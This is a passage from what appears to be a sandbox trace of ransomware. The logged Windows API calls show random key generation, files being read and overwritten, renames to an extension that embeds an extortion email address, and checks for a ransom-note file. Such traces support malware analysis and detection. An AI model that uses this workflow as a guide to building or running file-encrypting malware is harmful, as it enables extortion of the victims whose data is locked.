0x810f2e31 [0167.068] RtlRandom (in: Seed=0xa6efde8 | out: Seed=0xa6efde8) returned 0x849ed81c [0167.068] RtlRandom (in: Seed=0xa6efde8 | out: Seed=0xa6efde8) returned 0x44174fca [0167.068] RtlRandom (in: Seed=0xa6efde8 | out: Seed=0xa6efde8) returned 0xa96fea3e [0167.068] RtlRandom (in: Seed=0xa6efde8 | out: Seed=0xa6efde8) returned 0xb14207bc [0167.068] RtlRandom (in: Seed=0xa6efde8 | out: Seed=0xa6efde8) returned 0xba18800a [0167.068] RtlRandom (in: Seed=0xa6efde8 | out: Seed=0xa6efde8) returned 0x7ae26f8d [0167.068] RtlRandom (in: Seed=0xa6efde8 | out: Seed=0xa6efde8) returned 0x47923072 [0167.069] RtlRandom (in: Seed=0xa6efde8 | out: Seed=0xa6efde8) returned 0xb4f9dc08 [0167.069] RtlRandom (in: Seed=0xa6efde8 | out: Seed=0xa6efde8) returned 0x142adc2 [0167.069] RtlRandom (in: Seed=0xa6efde8 | out: Seed=0xa6efde8) returned 0x60b0a585 [0167.069] RtlRandom (in: Seed=0xa6efde8 | out: Seed=0xa6efde8) returned 0x3b435a00 [0167.069] RtlRandom (in: Seed=0xa6efde8 | out: Seed=0xa6efde8) returned 0x5f65e5cd [0167.069] RtlRandom (in: Seed=0xa6efde8 | out: Seed=0xa6efde8) returned 0x84172f1e [0167.069] RtlRandom (in: Seed=0xa6efde8 | out: Seed=0xa6efde8) returned 0x48973fe4 [0167.077] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0167.079] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0167.079] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47d0 [0167.079] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0167.079] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab8c0) returned 1 [0167.079] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0167.079] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0167.079] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4578 [0167.079] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4578) returned 1 [0167.079] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.079] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.079] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0xf4e, lpNumberOfBytesRead=0xa6efddc, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xa6efddc*=0xf4e, lpOverlapped=0x0) returned 1 [0167.079] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa6efda4 | out: lpNewFilePointer=0x0) returned 1 [0167.079] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0xf4e, lpNumberOfBytesWritten=0xa6efdd8, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xa6efdd8*=0xf4e, lpOverlapped=0x0) returned 1 [0167.080] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4578 [0167.080] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac20 [0167.080] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac20) returned 1 [0167.080] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4578*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa6efdd4, lpOverlapped=0x0 | out: lpBuffer=0x2fe4578*, lpNumberOfBytesWritten=0xa6efdd4*=0x20, lpOverlapped=0x0) returned 1 [0167.080] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4578) returned 1 [0167.080] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.080] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.080] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0167.080] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0167.080] WriteFile (in: hFile=0x528, lpBuffer=0x2fe47d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa6efe00, lpOverlapped=0x0 | out: lpBuffer=0x2fe47d0*, lpNumberOfBytesWritten=0xa6efe00*=0x8, lpOverlapped=0x0) returned 1 [0167.080] WriteFile (in: hFile=0x528, lpBuffer=0xa6efe18*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa6efe00, lpOverlapped=0x0 | out: lpBuffer=0xa6efe18*, lpNumberOfBytesWritten=0xa6efe00*=0x4, lpOverlapped=0x0) returned 1 [0167.080] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa6efe00, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xa6efe00*=0x4, lpOverlapped=0x0) returned 1 [0167.080] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa6efe00, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xa6efe00*=0x6c, lpOverlapped=0x0) returned 1 [0167.080] WriteFile (in: hFile=0x528, lpBuffer=0x2fab708*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa6efe00, lpOverlapped=0x0 | out: lpBuffer=0x2fab708*, lpNumberOfBytesWritten=0xa6efe00*=0x20, lpOverlapped=0x0) returned 1 [0167.081] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa6efe00, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xa6efe00*=0x4, lpOverlapped=0x0) returned 1 [0167.081] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab708) returned 1 [0167.081] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0167.081] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47d0) returned 1 [0167.081] CloseHandle (hObject=0x528) returned 1 [0167.081] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2f7e038 [0167.081] wcscpy (in: _Dest=0x2f7e038, _Source="C:\\588bce7c90097ed212\\1029\\eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1029\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1029\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0167.081] wcscat (in: _Dest=0x2f7e038, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1029\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1029\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.081] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.082] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0167.082] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7e038) returned 1 [0167.082] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0167.082] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0167.082] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1029\\" | out: _Dest="C:\\588bce7c90097ed212\\1029\\") returned="C:\\588bce7c90097ed212\\1029\\" [0167.082] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1029\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1029\\D0E731-Readme.txt" [0167.082] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1029\\d0e731-readme.txt")) returned 0x20 [0167.083] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0167.083] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6a4a8) returned 1 [0167.083] RtlExitUserThread (Status=0x1) Thread: id = 1647 os_tid = 0xc0c [0167.084] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0167.084] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.084] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.084] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xa76fe68 | out: lpFileSize=0xa76fe68*=81162) returned 1 [0167.084] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x13d06, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.084] ReadFile (in: hFile=0x528, lpBuffer=0xa76fe3c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa76fe38, lpOverlapped=0x0 | out: lpBuffer=0xa76fe3c*, lpNumberOfBytesRead=0xa76fe38*=0x4, lpOverlapped=0x0) returned 1 [0167.086] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.086] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac20 [0167.086] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47d0 [0167.086] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4578 [0167.086] NtQuerySystemTime (in: CurrentTime=0xa76fe14 | out: CurrentTime=0xa76fe14*=132121213244073483) returned 0x0 [0167.086] RtlRandom (in: Seed=0xa76fe20 | out: Seed=0xa76fe20) returned 0x24eaf10e [0167.086] RtlRandom (in: Seed=0xa76fe20 | out: Seed=0xa76fe20) returned 0x2f9e424a [0167.086] RtlRandom (in: Seed=0xa76fe20 | out: Seed=0xa76fe20) returned 0x7b04e317 [0167.086] RtlRandom (in: Seed=0xa76fe20 | out: Seed=0xa76fe20) returned 0x1f235539 [0167.086] RtlRandom (in: Seed=0xa76fe20 | out: Seed=0xa76fe20) returned 0x2fd17780 [0167.086] RtlRandom (in: Seed=0xa76fe20 | out: Seed=0xa76fe20) returned 0x573552a2 [0167.086] RtlRandom (in: Seed=0xa76fe20 | out: Seed=0xa76fe20) returned 0x6d040e9c [0167.086] RtlRandom (in: Seed=0xa76fe20 | out: Seed=0xa76fe20) returned 0x2b1a9274 [0167.086] RtlRandom (in: Seed=0xa76fe20 | out: Seed=0xa76fe20) returned 0x10360b2d [0167.086] RtlRandom (in: Seed=0xa76fe20 | out: Seed=0xa76fe20) returned 0xcb512fdd [0167.086] RtlRandom (in: Seed=0xa76fe20 | out: Seed=0xa76fe20) returned 0x6adf6b0c [0167.086] RtlRandom (in: Seed=0xa76fe20 | out: Seed=0xa76fe20) returned 0xa633b1e0 [0167.086] RtlRandom (in: Seed=0xa76fe20 | out: Seed=0xa76fe20) returned 0xf6a7ad81 [0167.086] RtlRandom (in: Seed=0xa76fe20 | out: Seed=0xa76fe20) returned 0x2520c2a1 [0167.086] RtlRandom (in: Seed=0xa76fe20 | out: Seed=0xa76fe20) returned 0x57b2327d [0167.086] RtlRandom (in: Seed=0xa76fe20 | out: Seed=0xa76fe20) returned 0x5822ef49 [0167.086] RtlRandom (in: Seed=0xa76fe20 | out: Seed=0xa76fe20) returned 0x3b570990 [0167.087] RtlRandom (in: Seed=0xa76fe20 | out: Seed=0xa76fe20) returned 0x41be2915 [0167.087] RtlRandom (in: Seed=0xa76fe20 | out: Seed=0xa76fe20) returned 0xfdc59b79 [0167.087] RtlRandom (in: Seed=0xa76fe20 | out: Seed=0xa76fe20) returned 0x810a176d [0167.087] RtlRandom (in: Seed=0xa76fe20 | out: Seed=0xa76fe20) returned 0xed3ce39a [0167.087] RtlRandom (in: Seed=0xa76fe20 | out: Seed=0xa76fe20) returned 0x388d8bcf [0167.087] RtlRandom (in: Seed=0xa76fe20 | out: Seed=0xa76fe20) returned 0xf9d0b752 [0167.087] RtlRandom (in: Seed=0xa76fe20 | out: Seed=0xa76fe20) returned 0xbae98855 [0167.087] RtlRandom (in: Seed=0xa76fe20 | out: Seed=0xa76fe20) returned 0x1f591342 [0167.087] RtlRandom (in: Seed=0xa76fe20 | out: Seed=0xa76fe20) returned 0xe74d4e93 [0167.087] RtlRandom (in: Seed=0xa76fe20 | out: Seed=0xa76fe20) returned 0x8f6053e7 [0167.087] RtlRandom (in: Seed=0xa76fe20 | out: Seed=0xa76fe20) returned 0x6571ce22 [0167.087] RtlRandom (in: Seed=0xa76fe20 | out: Seed=0xa76fe20) returned 0xb86a3b34 [0167.087] RtlRandom (in: Seed=0xa76fe20 | out: Seed=0xa76fe20) returned 0x86e260fa [0167.087] RtlRandom (in: Seed=0xa76fe20 | out: Seed=0xa76fe20) returned 0xefab4f22 [0167.087] RtlRandom (in: Seed=0xa76fe20 | out: Seed=0xa76fe20) returned 0x342de2a2 [0167.095] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0167.097] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0167.097] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab708 [0167.097] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0167.097] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac20) returned 1 [0167.097] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.097] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.097] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xa76fdec, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xa76fdec*=0x4096, lpOverlapped=0x0) returned 1 [0167.099] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.099] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0167.099] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0167.099] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab8c0 [0167.099] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab8c0) returned 1 [0167.099] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.100] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab8c0 [0167.100] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac20 [0167.100] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac20) returned 1 [0167.100] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0167.100] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0167.100] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xa76fdec, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xa76fdec*=0x4096, lpOverlapped=0x0) returned 1 [0167.101] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.101] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x13d0a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.101] WriteFile (in: hFile=0x528, lpBuffer=0x2fab8c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa76fe24, lpOverlapped=0x0 | out: lpBuffer=0x2fab8c0*, lpNumberOfBytesWritten=0xa76fe24*=0x20, lpOverlapped=0x0) returned 1 [0167.101] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab8c0) returned 1 [0167.101] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.101] WriteFile (in: hFile=0x528, lpBuffer=0x2fab708*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa76fe38, lpOverlapped=0x0 | out: lpBuffer=0x2fab708*, lpNumberOfBytesWritten=0xa76fe38*=0x8, lpOverlapped=0x0) returned 1 [0167.101] WriteFile (in: hFile=0x528, lpBuffer=0xa76fe50*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa76fe38, lpOverlapped=0x0 | out: lpBuffer=0xa76fe50*, lpNumberOfBytesWritten=0xa76fe38*=0x4, lpOverlapped=0x0) returned 1 [0167.101] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa76fe38, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xa76fe38*=0x4, lpOverlapped=0x0) returned 1 [0167.101] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa76fe38, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xa76fe38*=0x6c, lpOverlapped=0x0) returned 1 [0167.101] WriteFile (in: hFile=0x528, lpBuffer=0x2fe47d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa76fe38, lpOverlapped=0x0 | out: lpBuffer=0x2fe47d0*, lpNumberOfBytesWritten=0xa76fe38*=0x20, lpOverlapped=0x0) returned 1 [0167.101] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa76fe38, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xa76fe38*=0x4, lpOverlapped=0x0) returned 1 [0167.102] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47d0) returned 1 [0167.102] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0167.102] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab708) returned 1 [0167.102] CloseHandle (hObject=0x528) returned 1 [0167.102] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xde) returned 0x2fc3290 [0167.102] wcscpy (in: _Dest=0x2fc3290, _Source="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0167.102] wcscat (in: _Dest=0x2fc3290, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.102] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.103] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0167.103] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3290) returned 1 [0167.103] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0167.103] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0167.103] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1029\\" | out: _Dest="C:\\588bce7c90097ed212\\1029\\") returned="C:\\588bce7c90097ed212\\1029\\" [0167.103] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1029\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1029\\D0E731-Readme.txt" [0167.103] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1029\\d0e731-readme.txt")) returned 0x20 [0167.103] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0167.103] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6d4b8) returned 1 [0167.103] RtlExitUserThread (Status=0x1) Thread: id = 1648 os_tid = 0x84c [0167.104] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0167.105] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.106] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.106] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xa7efd4c | out: lpFileSize=0xa7efd4c*=6501) returned 1 [0167.106] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x1961, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.106] ReadFile (in: hFile=0x528, lpBuffer=0xa7efd20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa7efd1c, lpOverlapped=0x0 | out: lpBuffer=0xa7efd20*, lpNumberOfBytesRead=0xa7efd1c*=0x4, lpOverlapped=0x0) returned 1 [0167.107] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.107] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac20 [0167.107] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab708 [0167.107] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab8c0 [0167.107] NtQuerySystemTime (in: CurrentTime=0xa7efcf8 | out: CurrentTime=0xa7efcf8*=132121213244231118) returned 0x0 [0167.107] RtlRandom (in: Seed=0xa7efd04 | out: Seed=0xa7efd04) returned 0x430952b7 [0167.107] RtlRandom (in: Seed=0xa7efd04 | out: Seed=0xa7efd04) returned 0xc66af2fc [0167.107] RtlRandom (in: Seed=0xa7efd04 | out: Seed=0xa7efd04) returned 0xa3241484 [0167.107] RtlRandom (in: Seed=0xa7efd04 | out: Seed=0xa7efd04) returned 0x3a504765 [0167.107] RtlRandom (in: Seed=0xa7efd04 | out: Seed=0xa7efd04) returned 0xae80aaea [0167.107] RtlRandom (in: Seed=0xa7efd04 | out: Seed=0xa7efd04) returned 0x2e5de8e7 [0167.108] RtlRandom (in: Seed=0xa7efd04 | out: Seed=0xa7efd04) returned 0xda398b54 [0167.108] RtlRandom (in: Seed=0xa7efd04 | out: Seed=0xa7efd04) returned 0x8d299ed5 [0167.108] RtlRandom (in: Seed=0xa7efd04 | out: Seed=0xa7efd04) returned 0xbc8a3998 [0167.108] RtlRandom (in: Seed=0xa7efd04 | out: Seed=0xa7efd04) returned 0xf6706dec [0167.108] RtlRandom (in: Seed=0xa7efd04 | out: Seed=0xa7efd04) returned 0x19f60df [0167.108] RtlRandom (in: Seed=0xa7efd04 | out: Seed=0xa7efd04) returned 0x50fb6e52 [0167.108] RtlRandom (in: Seed=0xa7efd04 | out: Seed=0xa7efd04) returned 0xae493f8b [0167.108] RtlRandom (in: Seed=0xa7efd04 | out: Seed=0xa7efd04) returned 0xcc6aa5fe [0167.108] RtlRandom (in: Seed=0xa7efd04 | out: Seed=0xa7efd04) returned 0x468fcfe [0167.108] RtlRandom (in: Seed=0xa7efd04 | out: Seed=0xa7efd04) returned 0x579ac8c4 [0167.108] RtlRandom (in: Seed=0xa7efd04 | out: Seed=0xa7efd04) returned 0xd6f59a42 [0167.108] RtlRandom (in: Seed=0xa7efd04 | out: Seed=0xa7efd04) returned 0x4c318c53 [0167.108] RtlRandom (in: Seed=0xa7efd04 | out: Seed=0xa7efd04) returned 0x2eb4a2 [0167.108] RtlRandom (in: Seed=0xa7efd04 | out: Seed=0xa7efd04) returned 0x1700aa3f [0167.108] RtlRandom (in: Seed=0xa7efd04 | out: Seed=0xa7efd04) returned 0x95ab9285 [0167.108] RtlRandom (in: Seed=0xa7efd04 | out: Seed=0xa7efd04) returned 0x71ab0510 [0167.108] RtlRandom (in: Seed=0xa7efd04 | out: Seed=0xa7efd04) returned 0x583efc2d [0167.108] RtlRandom (in: Seed=0xa7efd04 | out: Seed=0xa7efd04) returned 0xb3f7a38d [0167.108] RtlRandom (in: Seed=0xa7efd04 | out: Seed=0xa7efd04) returned 0xbf9bf58c [0167.108] RtlRandom (in: Seed=0xa7efd04 | out: Seed=0xa7efd04) returned 0xb4d00246 [0167.108] RtlRandom (in: Seed=0xa7efd04 | out: Seed=0xa7efd04) returned 0x817b9abc [0167.108] RtlRandom (in: Seed=0xa7efd04 | out: Seed=0xa7efd04) returned 0x414a3198 [0167.108] RtlRandom (in: Seed=0xa7efd04 | out: Seed=0xa7efd04) returned 0x4afd94c7 [0167.108] RtlRandom (in: Seed=0xa7efd04 | out: Seed=0xa7efd04) returned 0x6bc12324 [0167.108] RtlRandom (in: Seed=0xa7efd04 | 